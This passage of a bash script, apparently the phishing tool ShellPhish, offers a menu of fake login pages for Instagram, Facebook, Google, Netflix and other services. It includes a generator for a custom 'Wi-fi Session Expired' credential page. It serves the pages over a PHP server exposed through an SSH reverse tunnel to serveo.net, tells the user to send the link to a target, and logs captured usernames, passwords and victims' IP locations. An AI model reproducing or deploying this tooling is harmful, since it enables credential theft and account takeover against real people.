"\e[1;92m[\e[0m\e[1;77m07\e[0m\e[1;92m]\e[0m\e[1;93m Spotify\e[0m \e[1;92m[\e[0m\e[1;77m15\e[0m\e[1;92m]\e[0m\e[1;93m Microsoft\e[0m\n" printf "\e[1;92m[\e[0m\e[1;77m08\e[0m\e[1;92m]\e[0m\e[1;93m Netflix\e[0m \e[1;92m[\e[0m\e[1;77m16\e[0m\e[1;92m]\e[0m\e[1;93m InstaFollowers\e[0m\n" read -p $'\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose an option: \e[0m' option if [[ $option == 1 || $option == 01 ]]; then printf "\n\e[1;93mWhich you have?\e[0m\n" printf "\n\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Linux for PC\e[0m \e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Termux for Android\e[0m \e[1;92m[\e[0m\e[1;77m03\e[0m\e[1;92m]\e[0m\e[1;93m Skip for now\e[0m" read -p $'\n\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose an option: \e[0m' options if [[ $options == 1 || $options == 01 ]]; then printf "\n\e[1;92mAll OK ...\nPlease continue ...\n\e[0m" elif [[ $options == 2 || $options == 02 ]]; then printf "\n\e[1;91mAgain asking you to turn on Mobile Data connection and\nHotspot together ...\n\e[0m" sleep 2 printf "\e[1;92mWithout Mobile Data connection and Hotspot\nI can't generate URL ...\n\e[0m" sleep 3 elif [[ $options == 3 || $options == 03 ]]; then printf "\n\e[1;92mOkay ...\n\e[0m" fi server="instagram" start1 elif [[ $option == 2 || $option == 02 ]]; then printf "\n\e[1;93mWhich you have?\e[0m\n" printf "\n\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Linux for PC\e[0m \e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Termux for Android\e[0m \e[1;92m[\e[0m\e[1;77m03\e[0m\e[1;92m]\e[0m\e[1;93m Skip for now\e[0m" read -p $'\n\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose an option: \e[0m' options if [[ $options == 1 || $options == 01 ]]; then printf "\n\e[1;92mAll OK ...\nPlease continue ...\n\e[0m" elif [[ $options == 2 || $options == 02 ]]; then printf "\n\e[1;91mAgain asking you to turn on Mobile Data connection and\nHotspot together ...\n\e[0m" sleep 2 printf "\e[1;92mWithout Mobile Data connection and Hotspot\nI can't generate URL ...\n\e[0m" sleep 3 elif [[ $options == 3 || $options == 03 ]]; then printf "\n\e[1;92mOkay ...\n\e[0m" fi server="facebook" start1 elif [[ $option == 3 || $option == 03 ]]; then printf "\n\e[1;93mWhich you have?\e[0m\n" printf "\n\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Linux for PC\e[0m \e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Termux for Android\e[0m \e[1;92m[\e[0m\e[1;77m03\e[0m\e[1;92m]\e[0m\e[1;93m Skip for now\e[0m" read -p $'\n\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose an option: \e[0m' options if [[ $options == 1 || $options == 01 ]]; then printf "\n\e[1;92mAll OK ...\nPlease continue ...\n\e[0m" elif [[ $options == 2 || $options == 02 ]]; then printf "\n\e[1;91mAgain asking you to turn on Mobile Data connection and\nHotspot together ...\n\e[0m" sleep 2 printf "\e[1;92mWithout Mobile Data connection and Hotspot\nI can't generate URL ...\n\e[0m" sleep 3 elif [[ $options == 3 || $options == 03 ]]; then printf "\n\e[1;92mOkay ...\n\e[0m" fi server="snapchat" start1 elif [[ $option == 4 || $option == 04 ]]; then printf "\n\e[1;93mWhich you have?\e[0m\n" printf "\n\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Linux for PC\e[0m \e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Termux for Android\e[0m \e[1;92m[\e[0m\e[1;77m03\e[0m\e[1;92m]\e[0m\e[1;93m Skip for now\e[0m" read -p $'\n\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose an option: \e[0m' options if [[ $options == 1 || $options == 01 ]]; then printf "\n\e[1;92mAll OK ...\nPlease continue ...\n\e[0m" elif [[ $options == 2 || $options == 02 ]]; then printf "\n\e[1;91mAgain asking you to turn on Mobile Data connection and\nHotspot together ...\n\e[0m" sleep 2 printf "\e[1;92mWithout Mobile Data connection and Hotspot\nI can't generate URL ...\n\e[0m" sleep 3 elif [[ $options == 3 || $options == 03 ]]; then printf "\n\e[1;92mOkay ...\n\e[0m" fi server="twitter" start1 elif [[ $option == 5 || $option == 05 ]]; then printf "\n\e[1;93mWhich you have?\e[0m\n" printf "\n\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Linux for PC\e[0m \e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Termux for Android\e[0m \e[1;92m[\e[0m\e[1;77m03\e[0m\e[1;92m]\e[0m\e[1;93m Skip for now\e[0m" read -p $'\n\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose an option: \e[0m' options if [[ $options == 1 || $options == 01 ]]; then printf "\n\e[1;92mAll OK ...\nPlease continue ...\n\e[0m" elif [[ $options == 2 || $options == 02 ]]; then printf "\n\e[1;91mAgain asking you to turn on Mobile Data connection and\nHotspot together ...\n\e[0m" sleep 2 printf "\e[1;92mWithout Mobile Data connection and Hotspot\nI can't generate URL ...\n\e[0m" sleep 3 elif [[ $options == 3 || $options == 03 ]]; then printf "\n\e[1;92mOkay ...\n\e[0m" fi server="github" start1 elif [[ $option == 6 || $option == 06 ]]; then printf "\n\e[1;93mWhich you have?\e[0m\n" printf "\n\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Linux for PC\e[0m \e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Termux for Android\e[0m \e[1;92m[\e[0m\e[1;77m03\e[0m\e[1;92m]\e[0m\e[1;93m Skip for now\e[0m" read -p $'\n\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose an option: \e[0m' options if [[ $options == 1 || $options == 01 ]]; then printf "\n\e[1;92mAll OK ...\nPlease continue ...\n\e[0m" elif [[ $options == 2 || $options == 02 ]]; then printf "\n\e[1;91mAgain asking you to turn on Mobile Data connection and\nHotspot together ...\n\e[0m" sleep 2 printf "\e[1;92mWithout Mobile Data connection and Hotspot\nI can't generate URL ...\n\e[0m" sleep 3 elif [[ $options == 3 || $options == 03 ]]; then printf "\n\e[1;92mOkay ...\n\e[0m" fi server="google" start1 elif [[ $option == 7 || $option == 07 ]]; then printf "\n\e[1;93mWhich you have?\e[0m\n" printf "\n\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Linux for PC\e[0m \e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Termux for Android\e[0m \e[1;92m[\e[0m\e[1;77m03\e[0m\e[1;92m]\e[0m\e[1;93m Skip for now\e[0m" read -p $'\n\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose an option: \e[0m' options if [[ $options == 1 || $options == 01 ]]; then printf "\n\e[1;92mAll OK ...\nPlease continue ...\n\e[0m" elif [[ $options == 2 || $options == 02 ]]; then printf "\n\e[1;91mAgain asking you to turn on Mobile Data connection and\nHotspot together ...\n\e[0m" sleep 2 printf "\e[1;92mWithout Mobile Data connection and Hotspot\nI can't generate URL ...\n\e[0m" sleep 3 elif [[ $options == 3 || $options == 03 ]]; then printf "\n\e[1;92mOkay ...\n\e[0m" fi server="spotify" start1 elif [[ $option == 8 || $option == 08 ]]; then printf "\n\e[1;93mWhich you have?\e[0m\n" printf "\n\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Linux for PC\e[0m \e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Termux for Android\e[0m \e[1;92m[\e[0m\e[1;77m03\e[0m\e[1;92m]\e[0m\e[1;93m Skip for now\e[0m" read -p $'\n\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose an option: \e[0m' options if [[ $options == 1 || $options == 01 ]]; then printf "\n\e[1;92mAll OK ...\nPlease continue ...\n\e[0m" elif [[ $options == 2 || $options == 02 ]]; then printf "\n\e[1;91mAgain asking you to turn on Mobile Data connection and\nHotspot together ...\n\e[0m" sleep 2 printf "\e[1;92mWithout Mobile Data connection and Hotspot\nI can't generate URL ...\n\e[0m" sleep 3 elif [[ $options == 3 || $options == 03 ]]; then printf "\n\e[1;92mOkay ...\n\e[0m" fi server="netflix" start1 elif [[ $option == 9 || $option == 09 ]]; then printf "\n\e[1;93mWhich you have?\e[0m\n" printf "\n\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Linux for PC\e[0m \e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Termux for Android\e[0m \e[1;92m[\e[0m\e[1;77m03\e[0m\e[1;92m]\e[0m\e[1;93m Skip for now\e[0m" read -p $'\n\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose an option: \e[0m' options if [[ $options == 1 || $options == 01 ]]; then printf "\n\e[1;92mAll OK ...\nPlease continue ...\n\e[0m" elif [[ $options == 2 || $options == 02 ]]; then printf "\n\e[1;91mAgain asking you to turn on Mobile Data connection and\nHotspot together ...\n\e[0m" sleep 2 printf "\e[1;92mWithout Mobile Data connection and Hotspot\nI can't generate URL ...\n\e[0m" sleep 3 elif [[ $options == 3 || $options == 03 ]]; then printf "\n\e[1;92mOkay ...\n\e[0m" fi server="origin" start1 elif [[ $option == 10 ]]; then printf "\n\e[1;93mWhich you have?\e[0m\n" printf "\n\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Linux for PC\e[0m \e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Termux for Android\e[0m \e[1;92m[\e[0m\e[1;77m03\e[0m\e[1;92m]\e[0m\e[1;93m Skip for now\e[0m" read -p $'\n\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose an option: \e[0m' options if [[ $options == 1 || $options == 01 ]]; then printf "\n\e[1;92mAll OK ...\nPlease continue ...\n\e[0m" elif [[ $options == 2 || $options == 02 ]]; then printf "\n\e[1;91mAgain asking you to turn on Mobile Data connection and\nHotspot together ...\n\e[0m" sleep 2 printf "\e[1;92mWithout Mobile Data connection and Hotspot\nI can't generate URL ...\n\e[0m" sleep 3 elif [[ $options == 3 || $options == 03 ]]; then printf "\n\e[1;92mOkay ...\n\e[0m" fi server="steam" start1 elif [[ $option == 11 ]]; then printf "\n\e[1;93mWhich you have?\e[0m\n" printf "\n\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Linux for PC\e[0m \e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Termux for Android\e[0m \e[1;92m[\e[0m\e[1;77m03\e[0m\e[1;92m]\e[0m\e[1;93m Skip for now\e[0m" read -p $'\n\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose an option: \e[0m' options if [[ $options == 1 || $options == 01 ]]; then printf "\n\e[1;92mAll OK ...\nPlease continue ...\n\e[0m" elif [[ $options == 2 || $options == 02 ]]; then printf "\n\e[1;91mAgain asking you to turn on Mobile Data connection and\nHotspot together ...\n\e[0m" sleep 2 printf "\e[1;92mWithout Mobile Data connection and Hotspot\nI can't generate URL ...\n\e[0m" sleep 3 elif [[ $options == 3 || $options == 03 ]]; then printf "\n\e[1;92mOkay ...\n\e[0m" fi server="yahoo" start1 elif [[ $option == 12 ]]; then printf "\n\e[1;93mWhich you have?\e[0m\n" printf "\n\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Linux for PC\e[0m \e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Termux for Android\e[0m \e[1;92m[\e[0m\e[1;77m03\e[0m\e[1;92m]\e[0m\e[1;93m Skip for now\e[0m" read -p $'\n\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose an option: \e[0m' options if [[ $options == 1 || $options == 01 ]]; then printf "\n\e[1;92mAll OK ...\nPlease continue ...\n\e[0m" elif [[ $options == 2 || $options == 02 ]]; then printf "\n\e[1;91mAgain asking you to turn on Mobile Data connection and\nHotspot together ...\n\e[0m" sleep 2 printf "\e[1;92mWithout Mobile Data connection and Hotspot\nI can't generate URL ...\n\e[0m" sleep 3 elif [[ $options == 3 || $options == 03 ]]; then printf "\n\e[1;92mOkay ...\n\e[0m" fi server="linkedin" start1 elif [[ $option == 13 ]]; then printf "\n\e[1;93mWhich you have?\e[0m\n" printf "\n\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Linux for PC\e[0m \e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Termux for Android\e[0m \e[1;92m[\e[0m\e[1;77m03\e[0m\e[1;92m]\e[0m\e[1;93m Skip for now\e[0m" read -p $'\n\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose an option: \e[0m' options if [[ $options == 1 || $options == 01 ]]; then printf "\n\e[1;92mAll OK ...\nPlease continue ...\n\e[0m" elif [[ $options == 2 || $options == 02 ]]; then printf "\n\e[1;91mAgain asking you to turn on Mobile Data connection and\nHotspot together ...\n\e[0m" sleep 2 printf "\e[1;92mWithout Mobile Data connection and Hotspot\nI can't generate URL ...\n\e[0m" sleep 3 elif [[ $options == 3 || $options == 03 ]]; then printf "\n\e[1;92mOkay ...\n\e[0m" fi server="protonmail" start1 elif [[ $option == 14 ]]; then printf "\n\e[1;93mWhich you have?\e[0m\n" printf "\n\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Linux for PC\e[0m \e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Termux for Android\e[0m \e[1;92m[\e[0m\e[1;77m03\e[0m\e[1;92m]\e[0m\e[1;93m Skip for now\e[0m" read -p $'\n\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose an option: \e[0m' options if [[ $options == 1 || $options == 01 ]]; then printf "\n\e[1;92mAll OK ...\nPlease continue ...\n\e[0m" elif [[ $options == 2 || $options == 02 ]]; then printf "\n\e[1;91mAgain asking you to turn on Mobile Data connection and\nHotspot together ...\n\e[0m" sleep 2 printf "\e[1;92mWithout Mobile Data connection and Hotspot\nI can't generate URL ...\n\e[0m" sleep 3 elif [[ $options == 3 || $options == 03 ]]; then printf "\n\e[1;92mOkay ...\n\e[0m" fi server="wordpress" start1 elif [[ $option == 15 ]]; then printf "\n\e[1;93mWhich you have?\e[0m\n" printf "\n\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Linux for PC\e[0m \e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Termux for Android\e[0m \e[1;92m[\e[0m\e[1;77m03\e[0m\e[1;92m]\e[0m\e[1;93m Skip for now\e[0m" read -p $'\n\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose an option: \e[0m' options if [[ $options == 1 || $options == 01 ]]; then printf "\n\e[1;92mAll OK ...\nPlease continue ...\n\e[0m" elif [[ $options == 2 || $options == 02 ]]; then printf "\n\e[1;91mAgain asking you to turn on Mobile Data connection and\nHotspot together ...\n\e[0m" sleep 2 printf "\e[1;92mWithout Mobile Data connection and Hotspot\nI can't generate URL ...\n\e[0m" sleep 3 elif [[ $options == 3 || $options == 03 ]]; then printf "\n\e[1;92mOkay ...\n\e[0m" fi server="microsoft" start1 elif [[ $option == 16 ]]; then printf "\n\e[1;93mWhich you have?\e[0m\n" printf "\n\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Linux for PC\e[0m \e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Termux for Android\e[0m \e[1;92m[\e[0m\e[1;77m03\e[0m\e[1;92m]\e[0m\e[1;93m Skip for now\e[0m" read -p $'\n\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose an option: \e[0m' options if [[ $options == 1 || $options == 01 ]]; then printf "\n\e[1;92mAll OK ...\nPlease continue ...\n\e[0m" elif [[ $options == 2 || $options == 02 ]]; then printf "\n\e[1;91mAgain asking you to turn on Mobile Data connection and\nHotspot together ...\n\e[0m" sleep 2 printf "\e[1;92mWithout Mobile Data connection and Hotspot\nI can't generate URL ...\n\e[0m" sleep 3 elif [[ $options == 3 || $options == 03 ]]; then printf "\n\e[1;92mOkay ...\n\e[0m" fi server="instafollowers" start1 elif [[ $option == 17 ]]; then printf "\n\e[1;93mWhich you have?\e[0m\n" printf "\n\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Linux for PC\e[0m \e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Termux for Android\e[0m \e[1;92m[\e[0m\e[1;77m03\e[0m\e[1;92m]\e[0m\e[1;93m Skip for now\e[0m" read -p $'\n\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose an option: \e[0m' options if [[ $options == 1 || $options == 01 ]]; then printf "\n\e[1;92mAll OK ...\nPlease continue ...\n\e[0m" elif [[ $options == 2 || $options == 02 ]]; then printf "\n\e[1;91mAgain asking you to turn on Mobile Data connection and\nHotspot together ...\n\e[0m" sleep 2 printf "\e[1;92mWithout Mobile Data connection and Hotspot\nI can't generate URL ...\n\e[0m" sleep 3 elif [[ $options == 3 || $options == 03 ]]; then printf "\n\e[1;92mOkay ...\n\e[0m" fi server="gitlab" start1 elif [[ $option == 18 ]]; then printf "\n\e[1;93mWhich you have?\e[0m\n" printf "\n\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Linux for PC\e[0m \e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Termux for Android\e[0m \e[1;92m[\e[0m\e[1;77m03\e[0m\e[1;92m]\e[0m\e[1;93m Skip for now\e[0m" read -p $'\n\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose an option: \e[0m' options if [[ $options == 1 || $options == 01 ]]; then printf "\n\e[1;92mAll OK ...\nPlease continue ...\n\e[0m" elif [[ $options == 2 || $options == 02 ]]; then printf "\n\e[1;91mAgain asking you to turn on Mobile Data connection and\nHotspot together ...\n\e[0m" sleep 2 printf "\e[1;92mWithout Mobile Data connection and Hotspot\nI can't generate URL ...\n\e[0m" sleep 3 elif [[ $options == 3 || $options == 03 ]]; then printf "\n\e[1;92mOkay ...\n\e[0m" fi server="pinterest" start1 elif [[ $option == 19 ]]; then printf "\n\e[1;93mWhich you have?\e[0m\n" printf "\n\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Linux for PC\e[0m \e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Termux for Android\e[0m \e[1;92m[\e[0m\e[1;77m03\e[0m\e[1;92m]\e[0m\e[1;93m Skip for now\e[0m" read -p $'\n\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose an option: \e[0m' options if [[ $options == 1 || $options == 01 ]]; then printf "\n\e[1;92mAll OK ...\nPlease continue ...\n\e[0m" elif [[ $options == 2 || $options == 02 ]]; then printf "\n\e[1;91mAgain asking you to turn on Mobile Data connection and\nHotspot together ...\n\e[0m" sleep 2 printf "\e[1;92mWithout Mobile Data connection and Hotspot\nI can't generate URL ...\n\e[0m" sleep 3 elif [[ $options == 3 || $options == 03 ]]; then printf "\n\e[1;92mOkay ...\n\e[0m" fi server="create" createpage start1 elif [[ $option == 20 ]]; then clear printf "\n\e[1;92mRunning Termux Setup " sleep 0.5 printf "." sleep 0.5 printf "." sleep 0.5 printf ".\n\e[1;92m" apt update && apt upgrade -y pkg install wget curl php unzip openssh -y printf "\n\e[1;92m Termux Setup Done ...\n\e[0m" sleep 0.5 printf "\n Restarting ...\n\e[0m" sleep 1 bash shellphish.sh elif [[ $option == 21 ]]; then printf "\n\e[0;92mTo Update this Script we have to delete \e[1;94mshellphish.sh\e[0;92m Script and run \e[1;94mupdate.sh\e[0;92m Script ...\n" sleep 1 printf "Running \e[1;94mupdate.sh\e[0;92m Script ...\n" sleep 1 chmod +x update.sh bash update.sh else printf "\e[1;93m [\e[1;91m!\e[1;93m] Invalid option!\e[0m\n" sleep 1 clear menu fi } stop() { checkngrok=$(ps aux | grep -o "ngrok" | head -n1) checkphp=$(ps aux | grep -o "php" | head -n1) checkssh=$(ps aux | grep -o "ssh" | head -n1) if [[ $checkngrok == *'ngrok'* ]]; then pkill -f -2 ngrok > /dev/null 2>&1 killall -2 ngrok > /dev/null 2>&1 fi if [[ $checkphp == *'php'* ]]; then pkill -f -2 php > /dev/null 2>&1 killall -2 php > /dev/null 2>&1 fi if [[ $checkssh == *'ssh'* ]]; then pkill -f -2 ssh > /dev/null 2>&1 killall ssh > /dev/null 2>&1 fi if [[ -e sendlink ]]; then rm -rf sendlink fi } banner() { printf "\e[1;96m _ _ _ _ ______ _ _ _ \e[0m\n" printf "\e[1;96m | | | | | || |(_____ \ | | (_) | | \e[0m\n" printf "\e[1;96m \ \ | | _ ____ | || | _____) )| | _ _ ___ | | _ \e[0m\n" printf "\e[1;96m \ \ | || \ / _ )| || || ____/ | || \ | | /___)| || \ \e[0m\n" printf "\e[1;96m _____) )| | | |( (/ / | || || | | | | || ||___ || | | | \e[0m\n" printf "\e[1;96m (______/ |_| |_| \____)|_||_||_| |_| |_||_|(___/ |_| |_| \e[1;95mv1.7-Mod\e[0m\n" printf "\n" printf "\e[1;93m .:.:.\e[0m\e[1;94m Phishing Tool Moded by @AbirHasan2005 \e[0m\e[1;93m.:.:.\e[0m\n" printf "\n" printf " \e[101m\e[1;77m:: Disclaimer: Developers assume no liability and are not ::\e[0m\n" printf " \e[101m\e[1;77m:: responsible for any misuse or damage caused by ShellPhish ::\e[0m\n" printf "\n" printf "\e[0;92m>>> Mobile Data Connection & Hotspot should be turned On <<<\e[0m\n\n" } createpage() { default_cap1="Wi-fi Session Expired" default_cap2="Please login again." default_user_text="Username:" default_pass_text="Password:" default_sub_text="Log-In" read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Title 1 (Default: Wi-fi Session Expired): \e[0m' cap1 cap1="${cap1:-${default_cap1}}" read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Title 2 (Default: Please login again.): \e[0m' cap2 cap2="${cap2:-${default_cap2}}" read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Username field (Default: Username:): \e[0m' user_text user_text="${user_text:-${default_user_text}}" read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Password field (Default: Password:): \e[0m' pass_text pass_text="${pass_text:-${default_pass_text}}" read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Submit field (Default: Log-In): \e[0m' sub_text sub_text="${sub_text:-${default_sub_text}}" echo "<!DOCTYPE html>" > sites/create/login.html echo "<html>" >> sites/create/login.html echo "<body bgcolor=\"gray\" text=\"white\">" >> sites/create/login.html IFS=$'\n' printf '<center><h2> %s <br><br> %s </h2></center><center>\n' $cap1 $cap2 >> sites/create/login.html IFS=$'\n' printf '<form method="POST" action="login.php"><label>%s </label>\n' $user_text >> sites/create/login.html IFS=$'\n' printf '<input type="text" name="username" length=64>\n' >> sites/create/login.html IFS=$'\n' printf '<br><label>%s: </label>' $pass_text >> sites/create/login.html IFS=$'\n' printf '<input type="password" name="password" length=64><br><br>\n' >> sites/create/login.html IFS=$'\n' printf '<input value="%s" type="submit"></form>\n' $sub_text >> sites/create/login.html printf '</center>' >> sites/create/login.html printf '<body>\n' >> sites/create/login.html printf '</html>\n' >> sites/create/login.html } catch_cred() { account=$(grep -o 'Account:.*' sites/$server/usernames.txt | cut -d " " -f2) IFS=$'\n' password=$(grep -o 'Pass:.*' sites/$server/usernames.txt | cut -d ":" -f2) printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m]\e[0m\e[1;92m Account:\e[0m\e[1;77m %s\n\e[0m" $account printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m]\e[0m\e[1;92m Password:\e[0m\e[1;77m %s\n\e[0m" $password cat sites/$server/usernames.txt >> sites/$server/saved.usernames.txt printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Saved:\e[0m\e[1;77m sites/%s/saved.usernames.txt\e[0m\n" $server printf "\n" printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Waiting Next IP and Next Credentials, Press Ctrl + C to exit ...\e[0m\n" } catch_ip() { touch sites/$server/saved.usernames.txt ip=$(grep -a 'IP:' sites/$server/ip.txt | cut -d " " -f2 | tr -d '\r') IFS=$'\n' ua=$(grep 'User-Agent:' sites/$server/ip.txt | cut -d '"' -f2) printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Target IP:\e[0m\e[1;77m %s\e[0m\n" $ip printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] User-Agent:\e[0m\e[1;77m %s\e[0m\n" $ua printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Saved:\e[0m\e[1;77m %s/saved.ip.txt\e[0m\n" $server cat sites/$server/ip.txt >> sites/$server/saved.ip.txt if [[ -e iptracker.log ]]; then rm -rf iptracker.log fi IFS='\n' iptracker=$(curl -s -L "www.ip-tracker.org/locator/ip-lookup.php?ip=$ip" --user-agent "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31" > iptracker.log) IFS=$'\n' continent=$(grep -o 'Continent.*' iptracker.log | head -n1 | cut -d ">" -f3 | cut -d "<" -f1) printf "\n" hostnameip=$(grep -o "</td></tr><tr><th>Hostname:.*" iptracker.log | cut -d "<" -f7 | cut -d ">" -f2) if [[ $hostnameip != "" ]]; then printf "\e[1;92m[*] Hostname:\e[0m\e[1;77m %s\e[0m\n" $hostnameip fi ## reverse_dns=$(grep -a "</td></tr><tr><th>Hostname:.*" iptracker.log | cut -d "<" -f1) if [[ $reverse_dns != "" ]]; then printf "\e[1;92m[*] Reverse DNS:\e[0m\e[1;77m %s\e[0m\n" $reverse_dns fi ## if [[ $continent != "" ]]; then printf "\e[1;92m[*] IP Continent:\e[0m\e[1;77m %s\e[0m\n" $continent fi ## country=$(grep -o 'Country:.*' iptracker.log | cut -d ">" -f3 | cut -d "&" -f1) if [[ $country != "" ]]; then printf "\e[1;92m[*] IP Country:\e[0m\e[1;77m %s\e[0m\n" $country fi ## state=$(grep -o "tracking lessimpt.*" iptracker.log | cut -d "<" -f1 | cut -d ">" -f2) if [[ $state != "" ]]; then printf "\e[1;92m[*] State:\e[0m\e[1;77m %s\e[0m\n" $state fi ## city=$(grep -o "City Location:.*" iptracker.log | cut -d "<" -f3 | cut -d ">" -f2) if [[ $city != "" ]]; then printf "\e[1;92m[*] City Location:\e[0m\e[1;77m %s\e[0m\n" $city fi ## isp=$(grep -o "ISP:.*" iptracker.log | cut -d "<" -f3 | cut -d ">" -f2) if [[ $isp != "" ]]; then printf "\e[1;92m[*] ISP:\e[0m\e[1;77m %s\e[0m\n" $isp fi ## as_number=$(grep -o "AS Number:.*" iptracker.log | cut -d "<" -f3 | cut -d ">" -f2) if [[ $as_number != "" ]]; then printf "\e[1;92m[*] AS Number:\e[0m\e[1;77m %s\e[0m\n" $as_number fi ## ip_speed=$(grep -o "IP Address Speed:.*" iptracker.log | cut -d "<" -f3 | cut -d ">" -f2) if [[ $ip_speed != "" ]]; then printf "\e[1;92m[*] IP Address Speed:\e[0m\e[1;77m %s\e[0m\n" $ip_speed fi ## ip_currency=$(grep -o "IP Currency:.*" iptracker.log | cut -d "<" -f3 | cut -d ">" -f2) if [[ $ip_currency != "" ]]; then printf "\e[1;92m[*] IP Currency:\e[0m\e[1;77m %s\e[0m\n" $ip_currency fi ## printf "\n" rm -rf iptracker.log printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Waiting Credentials and Next IP, Press Ctrl + C to exit ...\e[0m\n" } serverx() { printf "\e[1;92m[\e[0m*\e[1;92m] Starting php server ...\n" cd sites/$server && php -S 127.0.0.1:$port > /dev/null 2>&1 & sleep 2 printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting server ...\e[0m\n" command -v ssh > /dev/null 2>&1 || { echo >&2 "package SSH is not installed ... Aborting ..."; exit 1; } if [[ -e sendlink ]]; then rm -rf sendlink fi $(which sh) -c 'ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:'$port' serveo.net 2> /dev/null > sendlink ' & printf "\n" sleep 10 send_link=$(grep -o "https://[0-9a-z]*\.serveo.net" sendlink) printf "\n" printf '\n\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Send the direct link to target:\e[0m\e[1;77m %s \n' $send_link send_ip=$(curl -s 